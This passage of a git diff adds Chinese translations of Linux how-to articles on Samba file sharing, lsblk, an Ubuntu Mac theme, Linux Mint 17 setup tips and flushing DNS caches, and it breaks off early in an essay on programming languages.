+如果你想要无需密码访问共享文件夹你还需要微调一下其它选项。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/enable-file-and-printer-sharing-for-mac-and-linux-on-windows.png) + +在Windows Explorer或者File Explorer中找到你想共享的文件夹,右键点击,选择属性。点击共享标签,并使用这里的选项来共享和配置文件夹的权限。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/share-windows-folders-with-mac-and-linux-on-local-network.png) + +### 在Windows上访问共享文件夹 ### + +在Windows Explorer或者File Explorer中访问网络面板来浏览其他计算机共享给你的文件。你会看到正确配置后的Mac和Linux计算机在Windows PC机附近出现了。双击一台计算机来查看它的共享文件。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/access-ubuntu-linux-shared-folder-on-windows.png) + +如果你知道计算机名或者IP地址,你同样可以直接连接到这台计算机上,只需要在Windows Explorer或者File Explorer中输入\\计算名后按下回车就可以了。如果你希望直接通过IP地址连接,只需要将计算机名换成IP地址就可以了 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/directly-access-network-share-on-windows.png) + +### 在Mac OS X 上共享文件夹 ### + +你需要在你的Mac上启用网络文件共享来共享文件。点击桌面左上角的苹果logo,并选择系统偏好。点击共享图标并启用文件共享。点击选项按钮,并确认“使用SMB共享文件和文件夹”已经启用。 + +在共享文件夹那列中选择添加要共享的文件夹。使用用户列来选择哪些用户和组可以访问和写入它们 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/share-folder-with-windows-from-mac-os-x.png) + +### 在 Mac OS X 访问共享目录### + +打开Finder,在屏幕顶部的菜单中点击Go,选择连接到服务器,输入下面的地址,用Windows计算机名代替COMPUTERNAME:smb://COMPUTERNAME。你同样可以输入计算机IP来代替计算机名。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/directly-connect-to-windows-file-share-on-a-mac.png) + +你会被提醒你应该用相应的凭证来验证或者以访客方式登录。连接完成后,在Finder的侧边栏的共享列中就会出现这台计算机, + +要在你每次登录后自动链接到共享文件夹,打开系统偏好窗口并进入用户与组 > 登录项。从finder中的共享列中的网络共享拖拽到登录项列表中 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/windows-shared-folder-on-mac.png) + +### 在 Linux 中共享文件夹 ### + +在Linux上使用你桌面文件管理器来共享文件夹。这里,我们使用Ubuntu 14.04上的Nautilus,不过其他文件管理器上的过程应该是相似的。 + +打开文件管理器,在想要共享的文件上右键,选择属性。点击本地网络共享标签并对这个文件启用共享。如果这是你第一次启用共享,你会被提示要求安装Samba软件——这在你提供密码的时候会自动显示。 + +在安装完Samba软件后配置共享设置- 确认点击创建共享按钮来开始共享文件夹。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/share-folder-from-ubuntu-linux-with-windows-pc-over-local-network.png) + +### 在 Linux 上访问共享文件夹 ### + +你的Linux桌面文件管理器可能包含了一个网络浏览器,它可以用来定位并访问在本地网络的共享文件夹。 + +在文件管理器的侧边栏点击浏览网络选项。接着双击Windows网络选项,双击你的工作组(默认是WORKFROUP),双击邻近的计算机来浏览它的共享文件。 + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/browse-windows-network-shares-on-ubuntu.png) + +要直接连接到一台计算机,选中Nautilus中的“连接到服务器”选项,并输入像这样的远程计算机地址:smb://COMPUTERNAME + +![](http://cdn.howtogeek.com/wp-content/uploads/2014/06/directly-connect-to-windows-shared-folder-on-ubuntu.png) + +不过在你连接时,你可能需要使用具有访问远程计算机权限的用户名和密码来验证。这依赖于你是否启用了访客访问以及你如何设置你的文件夹共享权限。 + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/191116/how-to-share-files-between-windows-mac-and-linux-pcs-on-a-network/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.howtogeek.com/166407/how-to-easily-share-files-between-nearby-computers/ +[2]:http://www.samba.org/samba/news/developers/ms-patch.html +[3]:http://www.howtogeek.com/school/windows-network-sharing/lesson3/ diff --git a/published/201407/20140617 How to use Linux lsblk Command to List Block Device Information.md b/published/201407/20140617 How to use Linux lsblk Command to List Block Device Information.md new file mode 100644 index 0000000000..76c62e647b --- /dev/null +++ b/published/201407/20140617 How to use Linux lsblk Command to List Block Device Information.md @@ -0,0 +1,111 @@ +使用Linux的lsblk命令列出块设备信息 +================================================================================ +**lsblk**(列出块设备)命令用于列出所有可用块设备的信息,但是,它**不会列出RAM盘的信息**。块设备有硬盘,闪存盘,CD-ROM等等。 + +### 如何安装lsblk ### + +lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在[此处][1]下载util-linux包。 + +### Fedora中安装lsblk ### + +Fedora用户可以通过以下方法来安装该包: + + $ sudo yum install util-linux-ng + +该命令有几个选项: + +### 默认选项 ### + +lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令: + + $ lsblk + +输出如下: + +![lsblk default](http://linoxide.com/wp-content/uploads/2014/03/lsblk-default.jpg) + +7个栏目名称如下: + +**NAME** : 这是块设备名。 + +**MAJ:MIN** : 本栏显示主要和次要设备号。 + +**RM** : 本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。 + +**SIZE** : 本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。 + +**RO** : 该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。 + +**TYPE** :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。(LCTT译注,此处sr0的RO项没有标记为1,可能存在一些错误?) + +**MOUNTPOINT** : 本栏指出设备挂载的挂载点。 + +### 列出所有设备 ### + +默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令: + + $ lsblk -a + +该选项将列出所有设备,包括空设备在内。 + +![lsblk bytes sda](http://linoxide.com/wp-content/uploads/2014/03/lsblk-bytes-sda.png) + +### 列出设备权限和属主 ### + +lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息: + + $ lsblk -m + +![lsblk permissions](http://linoxide.com/wp-content/uploads/2014/03/lsblk-permissions.png) + +### 列出指定设备 ### + +该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现: + + $ lsblk -b /dev/sda + +或者,以下命令等同: + + $ lsblk --bytes /dev/sda + +### 以列表形式列出不带头的设备 ### + +你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下: + + $ lsblk -nl + +或者,你可以使用下面的长选项,它们也能给出相同的输出。 + + $ lsblk --noheadings --list + +![lsblk no header and list](http://linoxide.com/wp-content/uploads/2014/03/lsblk-no-header-and-list.png) + +### 列出SCSI设备 ### + +要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。 + + $ lsblk -S + +![](http://linoxide.com/wp-content/uploads/2014/03/lsblk-SCSI-devices.png) + +lsblk列出SCSI设备,而-s是逆序选项(LCTT译注:将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令: + + $ lsblk -s + +或者 + + $ lsblk --inverse + +![](http://linoxide.com/wp-content/uploads/2014/03/lsblk-inverse.png) + +你可以使用lsblk来获取关于你的块设备的更多信息,自己把它试着显示出来吧! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-lsblk-command/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:ftp://ftp.kernel.org/pub/linux/utils/util-linux/ diff --git a/published/201407/20140617 Make Ubuntu 14.04 Look Like Mac With Zukimac Theme.md b/published/201407/20140617 Make Ubuntu 14.04 Look Like Mac With Zukimac Theme.md new file mode 100644 index 0000000000..106aa37301 --- /dev/null +++ b/published/201407/20140617 Make Ubuntu 14.04 Look Like Mac With Zukimac Theme.md @@ -0,0 +1,51 @@ +在 Ubuntu 上体验 Mac 风格 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Make_Ubuntu_Look_Like_Mac_OS.jpeg) + +虽然 Ubuntu Unity 本身已经是一款很漂亮的桌面了,但世界各地还是有很人被 Mac OS X 的外观所震撼。如果您恰好是其中之一,要获得 Mac OS X 一样外观体验,是不需要丢掉 Ubuntu 的,相反,您可以对它来个美化改造,**使 Ubuntu 14.04 看起来就像 Mac OS X**。 + +### 让 Ubuntu 14.04 看起来像 Mac OS X ### + +要使 Ubuntu 美化成 Mac 的样子,我们得使用 Zukimac 主题。 + +- 从后面的链接获得 Zukimac 主题包:[下载 Zukimac Theme for Ubuntu 14.04][1] +- 解压下载的 Zip 包,解压后会出现 Zukimac 和 Zukimac-ml 两个目录文件。把这些目录拷贝到您的 home 目录下的 .themes 文件夹中。进入 Home 目录中,按下快捷键 Ctrl+H 可以显示所有隐藏的文件,如果没有 .themes 文件夹,需要创建一个。 +- 使用 [Unity Tweak Tool 来改变主题][2]. + +就这些操作。Zukimac 提供了一些基本的 Mac OS 系统的外观和视窗感觉。下面是带有默认的 OS X Maveric 壁纸的外观。 + +![Make Ubuntu 14.04 look like Mac OS X](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/06/Ubuntu_MAC_OS_Looks.jpeg) + +### Ubuntu 14.04 中获得更多 Mac 体验 ### + +通常,您可以**安装像 Plank 或 Docky 这样的 dock 启动面板**。在 Ubuntu 14.04 中要安装 Plank 可以使用下面的命令: + + sudo add-apt-repository ppa:ricotz/docky + sudo apt-get update + sudo apt-get install plank + +安装完 dock 启动面板后,您也可以安装 **Synapse indicator 来代替模拟 Mac 中的 Spotlight**。使用来自于 Noobslabs 的 PPA 源来安装 Synapse indicator,如下示: + + sudo add-apt-repository ppa:noobslab/apps + sudo apt-get update + sudo apt-get install indicator-synapse + +不想安装上面的两软件的话,您也可以安装 **Slingscold launcher,用来代替模拟 Mac OS X 的启动面板**。在 Ubuntu 14.04 中,使用上面提到的 Noobslabs 的 PPA 源来安装 Slingscold 启动面板,如下示: + + sudo add-apt-repository ppa:noobslab/apps + sudo apt-get update + sudo apt-get install slingscold + +老实说,我是个狂热的 Ubuntu 迷,我喜欢 Ubuntu 默认的 Unity 主题样式外观。此外,还有很多[关于 Ubuntu 14.04 的漂亮图标主题样式][3] 可用来美化默认的外观。但正如我上面提到的仍有很多用户喜欢 Mac OS X 的主题样式,我希望这篇文章能帮助到他们,使其能把 Ubuntu 14.4 装扮成 Mac OS X 的样式。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/ubuntu-1404-mac-zukimac-theme/ + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://gnome-look.org/content/show.php/Zukimac?content=165450 +[2]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ +[3]:http://itsfoss.com/best-icon-themes-ubuntu-1404/ \ No newline at end of file diff --git a/published/201407/20140618 20 things to do after installing Linux Mint 17 Qiana Cinnamon.md b/published/201407/20140618 20 things to do after installing Linux Mint 17 Qiana Cinnamon.md new file mode 100644 index 0000000000..56f5f7b82a --- /dev/null +++ b/published/201407/20140618 20 things to do after installing Linux Mint 17 Qiana Cinnamon.md @@ -0,0 +1,297 @@ +安装Linux Mint 17后要做的20件事 +================================================================================ +### Linux Mint 17 Qiana Cinnamon ### + +Linux Mint 17已经[发布][1],定名为Qiana。Mint是Linux最佳发行版之一,它定位于桌面用户,关注可用性和简洁。它携带了风格迥异的桌面环境,如Mate以及Cinnamon,并基于不同的发行版,如Ubuntu或Debian。 + +在本文中,我们使用的是Linux Mint 17的cinnamon版本。要获取更多关于Cinnamon版本的信息(包括下载链接),可以访问 - http://linux.cn/article-3260-1.html + +下载适合你系统的正确的iso,烧录成dvd,或者也可以制作成usb启动盘来启动。安装完毕,是时候来使用一些优化工具和基本应用程序来优化系统性能和体验,让你系统激情澎湃吧! + +### 1. 更新系统 ### + +第一件事情是重中之重,就是让你的系统保持时刻最新。赶紧在终端中运行以下命令吧。 + + $ sudo apt-get update + $ sudo apt-get upgrade + +或者,你也可以使用更新管理器(mintUpdate)来干这事,你可以在菜单(Menu)> 管理(Administration)中找到它。 + +![linux mint 17 qiana](http://www.binarytides.com/blog/wp-content/uploads/2014/06/linux-mint-17-qiana.png) + +### 2. 找回旧壁纸 ### + +每个Linux Mint发行版都自带了一套最新的漂亮的壁纸。但是,你也可以安装先前版本中的壁纸。 + + $ sudo apt-get install mint-backgrounds-* + +### 3. 多安装些浏览器 ### + +Linux Mint 17默认安装了firefox,你也可以获得更多的浏览器,如Chronium和Google Chrome。 + +Chronium浏览器可以在仓库中获取。 + + $ sudo apt-get install chromium-browser + +至于Google Chrome,请访问google.com/chrome下载deb包,并使用gdebi来安装。 + + # 64 位 + $ wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb + $ sudo gdebi google-chrome-stable_current_amd64.deb + + # 32 位 + $ wget https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb + $ sudo gdebi google-chrome-stable_current_i386.deb + +### 4. 安装Flash Player ### + +Mint上默认安装adobe flash插件包(adobe-flashplugin),因此,你可以在Firefox中畅玩flash游戏,也可以尽情享受网页版视频了。 + +Google Chrome现在使用了基于flash player的Pepper API,而且该插件也内建于Chrome中,因此,你也不需要为它额外做任何事情了。 + +然而对于Chronium,基于flash player的Pepper没有被囊括进来(因为它不是个自由组件),所以你需要手动安装了。 + +安装以下包来为Chronium安装pepper flash player。它会自动从Google Chrome浏览器中下载pepper flash player并加入到Chronium中。 + + $ sudo apt-get install pepperflashplugin-nonfree + +上面的命令应该帮你将flash player安装到Chronium里头了。万一下载失败,你可以使用下面的命令重新进行安装。 + + $ sudo dpkg-reconfigure pepperflashplugin-nonfree + +### 5. 安装多媒体解码 ### + +受限的额外包可以帮你安装大多数基本的解码,可以让你播放像mp3这样的格式。它也会帮你安装微软字体。 + + $ sudo apt-get install ubuntu-restricted-extras + +要启用加密dvd的回放,请安装以下包。 + + $ sudo apt-get install libdvdread4 + $ sudo /usr/share/doc/libdvdread4/install-css.sh + +### 6. 安装专有驱动 ### + +如果你有一张Nvidia或者ati的图形卡,或者broadcom的无线网卡,那么请安装厂商提供的专有驱动,这些驱动会为你带来最佳的硬件性能。 + +要安装Nvidia驱动,你可以参照先前的这篇文章 + +[如何在Linux Mint上安装最新的Nvidia驱动][3] + +### 7. 安装Dropbox ### + +Linux mint仓库已经提供了dropbox的客户端软件包,所以你不必满世界找了。 + + $ sudo apt-get install dropbox python-gpgme + +如果你还是比较喜欢从官方网站下载,那么翻墙可直达[https://www.dropbox.com/install?os=lnx][4],请遵照说明下载用于Ubuntu的deb安装包。(LCTT译注:墙内用户还是忽视此条吧。) + +Copy是另外一个云存储解决方案,它也有本地Linux客户端。详情可查阅[copy.com][5],它也有[ppa仓库][6]。 + +### 8. Skype ### + +Skype可以在Ubuntu canonical合作仓库中找到。 + + $ sudo apt-get install skype + +### 9. 安装rar和其它归档工具 ### + +要想在Nemo这样的文件管理器中通过上下文菜单创建rar归档,请安装rar工具。安装rar的同时,也可安装其它几个包以增加对其它归档格式的支持。 + + $ sudo apt-get install unace p7zip-rar sharutils rar arj lunzip lzip + +### 10. 安装剪贴板管理器 ### + +剪贴板管理器允许你维护和访问通过像Ctr+C这样的操作拷贝的项目历史,gnome下有很多的剪贴板管理器,像diodon,clipit,glipper,parcellite。 + +Diodon在cinnamon桌面上似乎存在一些问题,在历史列表增长时会出现滚动条。Clipit和Gipper工作得很好,你也可以安装 + + $ sudo apt-get install glipper + # 或者 + $ sudo apt-get install clipit + +然后,你可以从应用程序菜单中启动它们,它们应该会在你每次登录时启动。 + +### 11. 优化桌面 ### + +#### 1. 修复系统托盘上的日期格式 #### + +在底部面板右边的时间小程序只显示了时间,它也可以设置显示日期。右击底部面板右边的日期-时间小程序,然后点击配置,选中标有“使用自定义日期格式”的选框,然后填入 + + %B %e, %I:%M %p + +这会以带有AM/PM的12小时格式显示月份名称、日期和时间。 + +#### 2. 安装主题、扩展、小程序、桌面组件 #### + +为你的桌面搞一些好东西玩玩。你可以在桌面区域放置一些桌面组件,在面板上放些小程序,为桌面效果添加一些扩展,以及为桌面设计安装一些主题。 + +去系统设置吧,点击指定的图标,你可以看见一个可供选择的列表。点击“在线获取更多”标签来下载更多的好东西。 + +#### 3. 修改Firefox的搜索引擎 #### + +你也许注意到,Firefox默认选择了Yahoo搜索引擎,而搜索引擎列表中并没有Google。点击“管理搜索引擎” > 获取更多搜索引擎,它会带你去[http://www.linuxmint.com/searchengines.php][7]。 + +向下拉动滚动条到商业搜索引擎部分,找到并点击Google图标。进入下一页后,再次点击搜索引擎列表,而这次你会看到“添加Google”选项,点击它就可以用上Google搜索了。(LCTT译注:墙内用户也请忽略此条。怒!) + +### 12. 优化字体渲染 ### + +Linux mint默认使用Dejavu Sans字体,它看起来真普通啊。你可以使用Droid和Noto字体获得好看得多视觉享受。请参照我们先前的教程,它会一步一步带你渐入佳境。[如何在Linux Mint上获得华丽好看的字体][8] + +### 13. Guake下拉终端 ### + +下拉终端让你可以通过点击单个键来访问终端,Guake就是这其中之一,它用于基于gtk的桌面。下拉终端按要求显示/隐藏,并保持运行,因此你无需从菜单或者启动器中打开终端了。这对于热衷于终端的人来说,这是一个必不可少的工具。 + + $ sudo apt-get install guake + +Guake需要配置,以便在每次登陆时启动。首先,找到guake命令的路径。 + + $ which guake + /usr/bin/guake + +现在,把它添加到启动程序列表中。出门左拐,请往系统设置 > 启动程序,然后点击添加。在对话框中填写 + +> 名称 - Guake下拉终端 +> 命令 - /usr/bin/guake + +点击添加。现在Guake已经跑到你的运行程序列表中去了,并每次会自动启动。 + +### 14. Uget下载管理器 ### + +Uget是一个简洁而健壮的跨平台下载管理器,在Linux上工作得很好。虽然它缺少分段下载文件功能,但是仍然是一个十分稳定的下载管理器。 + + $ sudo apt-get install uget + +### 15. Deluge BitTorrent客户端 ### + +Linux Mint自带了Transmission,这是个简洁而高效的torrent客户端。如果正在寻找一个更有特色的torrent客户端,那么你可以试试deluge或者vuze(正式名称是azureus),还可以试试qbittorent。 + + $ sudo apt-get install deluge-torrent + +### 16. Hardinfo - 系统信息工具 ### + +Hardinfo是一个十分便利的GUI工具,它可以用来报告大量完整的系统硬件信息。你可以通过它来集中查看处理器、内存、存储设备、网络配置、打印机、usb设备、声音/视频适配器等等信息。它具有测试和评估系统性能的功能。 + + $ sudo apt-get install hardinfo + +### 17. 安装MATE桌面环境 ### + +除了Cinnamon,Linux Mint还自带了另一个流行的桌面环境MATE(Maatay)桌面。如果你想试试,那么就来安装吧。 + + $ sudo apt-get install mint-meta-mate + +现在你可以在登陆屏幕选择MATE会话了。 + +### 18. 让其它分区可写 ### + +如果你有其它ext分区,比如想用来存储和备份文件,那么你需要让它们可写,以免每次都要使用root特权。 + +首先,使用gksudo在文件管理器里打开分区挂载目录 + + $ gksudo nemo + +导航到分区目录,右击去往属性 > 权限标签 + +赋予“目录访问” - 创建和删除文件权限给用户、组和其它。 + +赋予“文件访问” - 读和写权限给用户、组和其它。 + +对于NTFS分区,你不需要做此事。 + +### 19. 安装Conky ### + +Conky是一个轻量级系统监控工具,它通过桌面图形组件显示系统各种资源的统计数据,如cpu、内存、网络等。它不是必须的,但是可以让你的桌面更加绚丽夺目。 + + $ sudo apt-add-repository -y ppa:teejee2008/ppa + $ sudo apt-get update + $ sudo apt-get install conky-manager + +从应用程序菜单启动Conky管理器,并添加组件到桌面。也可以选中开机启动选项来让Conky开机启动。 + +### 20. 安装一些游戏 ### + +Linux确实有一些酷爽的游戏,很具娱乐性,而且是免费的。注意,某些游戏像supertuxkart和0ad要求专用的图形处理器以优化性能。 + + # 0ad - 像帝国时代那样的策略游戏 + $ aptitude search 0ad + + # supertuxkart - 赛车游戏 + $ aptitude search supertuxkart + + # openarena + $ aptitude search openarena + +仓库中还有更多的游戏可供你安装,像Alien arena, secret maryo chronicles, supertux, frozen bubbles等等。 + +### 清除 ### + +做完这一切后,请为系统进行一次大扫除,移除一些不必要的包。 + + $ sudo apt-get autoremove + +### 注 ### + +#### 为Google Chrome/Chronium提供Java小程序支持 #### + +默认情况下已经安装了"icedtea-plugin",用以为firefox提供java小程序支持。 + +然而,Chrome和Chronium却不再支持基于NPAPI的插件。因此java小程序,在没有获得基于Pepper api的java插件前,java小程序是不能在这些浏览器中工作的。要查看更多信息,请往[这里][9]。 + +#### 更多应用程序 #### + +如果你正在为你的Mint盒子寻找更多的应用程序,那么这里列出了一部分更好的应用程序,所有这些都可以在软件管理器中安装。 + +* Opera - 网页浏览器 +* Gnome Encfs Manager - 管理使用Encfs加密的文件和文件夹 +* Smplayer - 多媒体播放器 +* Rhythmbox, Clementine - 音乐播放器 +* Openshot, Kdenlive - 视频编辑器 +* Audacity - 音频编辑器 +* Inkscape - 图形和图像编辑 +* Gparted - 分区编辑器 +* Gufw - 防火墙配置工具 +* qBittorrent, Vuze - Torrent客户端 +* Gwenview - 图像浏览 +* Team viewer - 远程桌面 +* Tv-maxe - 查看电视频道 +* Grub Customizer - 修改GRUB启动菜单设置 +* Linrunner TLP - 电源管理工具,对笔记本节电很有用 +* Virtualbox - 虚拟化 +* Kazam, recordMyDesktop - 桌面录像/演示 +* Bleachbit - 通过删除旧的/临时文件释放磁盘空间 +* Cheese - 使用网络摄像头拍照 +* Shutter - 带有众多功能的屏幕截图工具 + +那么,请选择你喜欢的那些,并尽情享受Linux Mint吧!! + +### 资源 ### + +下载最新Linux Mint +[http://www.linuxmint.com/download.php][10] + +社区教程 +[http://community.linuxmint.com/tutorial][11] + +Linux Mint论坛 +[http://forums.linuxmint.com/][12] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/better-linux-mint-17-cinnamon/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blog.linuxmint.com/?p=2626 +[2]:http://blog.linuxmint.com/?p=2626 +[3]:http://www.binarytides.com/install-nvidia-drivers-linux-mint-16/ +[4]:http://www.dropbox.com/install?os=lnx +[5]:http://copy.com/?r=DSwtSd +[6]:http://launchpad.net/~paolorotolo/+archive/copy +[7]:http://www.linuxmint.com/searchengines.php +[8]:http://www.binarytides.com/optimize-fonts-linux-mint/ +[9]:http://bugs.launchpad.net/ubuntu/+source/chromium-browser/+bug/1309508 +[10]:http://www.linuxmint.com/download.php +[11]:http://community.linuxmint.com/tutorial +[12]:http://forums.linuxmint.com/ diff --git a/published/201407/20140619 How To Flush Linux or UNIX DNS Cache.md b/published/201407/20140619 How To Flush Linux or UNIX DNS Cache.md new file mode 100644 index 0000000000..cace021b2a --- /dev/null +++ b/published/201407/20140619 How To Flush Linux or UNIX DNS Cache.md @@ -0,0 +1,113 @@ +如何在 Linux/Unix/Mac 下清除 DNS 查询缓存 +================================================================================ +![](http://figs.cyberciti.biz/3rdparty/configure.png) + +我在Linux下使用拨号连接上网,频繁的拨号断线造成DNS的问题。我如何在Linux/Unix发行版下使用shell命令清除DNS缓存? + + +在MS-Windows下,你可以使用[ipconfig命令来清除dns缓存][1]。然而,Linux和Unix提供了不同的方法来清除缓存。Linux可以运行 nscd 或者 BIND 或者 dnsmasq 作为名称服务缓存守护进程。大型或者工作组服务器可能使用BIND或者dnsmasq作为专用缓存服务器来加速查询。 + +### 如何: 清除 nscd dns 缓存 ### + +Nscd 会缓存libc发起的名称服务的请求。如果把检索NSS数据看做很慢,那么nscd能够显著加快连续访问同一数据的速度,并能提高整个系统的性能。只需重启nscd即可刷新缓存: + + $ sudo /etc/init.d/nscd restart + +或 + + # service nscd restart + +或 + + # service nscd reload + +这个守护进程给最常用的名称服务请求提供了高速缓存。默认的配置文件/etc/nscd.conf,其决定了高速缓存守护进程的行为。 + +### 清除 dnsmasq dns 缓存 ### + +[dnsmasq的是一个轻量级的DNS][2]、TFTP和DHCP服务器。它的目的是给局域网提供配对的DNS和DHCP服务。 dnsmasq接受DNS查询,并从一个小的本地高速缓存应答它们或将其转发到一个真正的递归DNS服务器。该软件也被安装在很多便宜的路由器上来缓存DNS查询。只需重新启动dnsmasq的服务来清除DNS缓存: + + $ sudo /etc/init.d/dnsmasq restart + +或者 + + # service dnsmasq restart + +### 清除BIND缓存服务器的dns缓存 ### + +一台BIND缓存服务器从另一台服务器(区域主)响应主机的查询而获得信息,然后保存(缓存)数据到本地。您所要做的就是重启BIND以清除其缓存: + + # /etc/init.d/named restart + +你也可以使用下面rndc命令来清除所有的缓存: + + # rndc restart + +或者 + + # rndc exec + +BIND v9.3.0 及其以上版本支持一个清除一个特定域名的所有记录缓存的命令:rndc flushname。本例中刷新cyberciti.biz相关域的所有记录: + + # rndc flushname cyberciti.biz + +同样也可以清除BIND View。比如,LAN和WAN的View可以用下面的命令清除: + + # rndc flush lan + # rndc flush wan + +### 给 Mac OS X Unix 用户的提示 ### + +Mac下用root用户输入下面的命令: + + # dscacheutil -flushcache + +或者 + + $ sudo dscacheutil -flushcache + +如果你正在使用OSX 10.5 或者更早的版本,尝试使用下面的命令: + + lookupd -flushcache + +### 关于 /etc/hosts 文件的一个提示 ### + +/etc/hosts用作静态查询主机的表格。你需要在类Unix操作系统下依据你的要求移除并且/或者更新它: + + # vi /etc/hosts + +#### 示例输出: #### + + 127.0.0.1 localhost + 127.0.1.1 wks01.WAG160N wks01 + # The following lines are desirable for IPv6 capable hosts + ::1 ip6-localhost ip6-loopback + fe00::0 ip6-localnet + ff00::0 ip6-mcastprefix + ff02::1 ip6-allnodes + ff02::2 ip6-allrouters + 10.37.34.2 build + 192.168.1.10 nas01 + 192.168.1.11 nas02 + 192.168.1.12 nas03 + #192.168.2.50 nfs2.nixcraft.net.in nfs2 + #192.168.2.51 nfs1.nixcraft.net.in nfs1 + 172.168.232.50 nfs1.nixcraft.net.in nfs1 + 172.168.232.51 nfs2.nixcraft.net.in nfs2 + 192.168.1.101 vm01 + +### 参考 ### + +相关: 在Windows Vista / XP中用ipconfig 命令[清除 DNS 缓存][3] + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/rhel-debian-ubuntu-flush-clear-dns-cache/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://theos.in/windows-vista/flush-dns-cache-with-ipconfig/ +[2]:http://www.cyberciti.biz/tips/how-do-i-improve-dns-performance-on-linuxwindows-desktop.html +[3]:http://theos.in/windows-vista/flush-dns-cache-with-ipconfig/ diff --git a/published/201407/20140620 How Many Languages Do Developers Need To Know.md b/published/201407/20140620 How Many Languages Do Developers Need To Know.md new file mode 100644 index 0000000000..d241b85e4f --- /dev/null +++ b/published/201407/20140620 How Many Languages Do Developers Need To Know.md @@ -0,0 +1,86 @@ +到底开发者需要掌握多少门语言? +================================================================================ +![](http://a2.files.readwrite.com/image/upload/c_fill,h_900,q_70,w_1600/MTIyNzYyNjIwNDU2Njk4NDcw.jpg) + +> 诸如Apple、Facebook及Google这样的大公司正在开发他们自己的编程语言,开发者们被迫只有适应。 + +前不久的世界开发者大会上,Apple公布了它的新开发语言[Swift][1]。这是最近大型技术公司们开发的一大波新语言中的最新成员,这些新语言某种程度上都是专门应用于他们自己的平台。 + +对iOS开发者,Apple有Swift;而[Facebook 有 Hack][2] —— 一门用于后端开发的语言。与此同时,Google已经拥有了它自己的Javascript替代者 Dart,以及一门新的通用编程语言Go。 + +这一波又一波的新语言,给开发者们带来了许多问题。也许其中最严重的问题正如我一位同事[Adriana Lee][3]在Apple发布Swift后所说: + +> (开发者们到底还得学习多少门语言?) +> ——Adriana Lee (@adra_la) [June 2, 2014][4] + +### 计算机语言的通天塔 ### + +目前已经存在的[编程语言有数百种][5],同时还有更多的语言正在涌现。其中许多都是被设计用在相对较窄的应用程序范围内,大多数甚至从未走出过项目小组的范围。 + +与此类似,大技术公司开发的新语言其实也是伴随着公司一起成长的。[通用语言的鼻祖,C语言][6],就源于上世纪70年代初的AT&T贝尔实验室。Java,目前作为Android app开发的主要语言,诞生于上世纪90年代[Sun公司的Microsystems系统][7]。 + +发展到现在,不同之处在于,公司们拥抱新语言、从而想要延伸的特定商业目标的范围不一样了 —— 这一过程同时建立了一个忠心耿耿的开发者基础,他们被牢牢锁定在了某个公司的特定平台上。这类一石二鸟的战略,最早可以追溯到Sun对Java的采用,当时公司就将其作为了挑战微软PC桌面统治地位的一种手段。(事情虽然没有像Sun计划的那样发展下去,但在Google转向Android之前,Java大体上也算是在企业中间件系统中找到了自己的一席之地。) + +这么看来,Apple的Swift其目标也就很明确了。Swift应该不会辜负公司前期的大肆宣传,通过磨平Objective-C那粗糙的毛边,看起来它能够成功简化iOS app开发者的开发过程。但是同样还是这些开发者,他们却需要学习一门新语言的输入和输出,而这些功能很可能在其他地方都不会用到。 + +### 大公司们为什么要重复造轮子 ### + 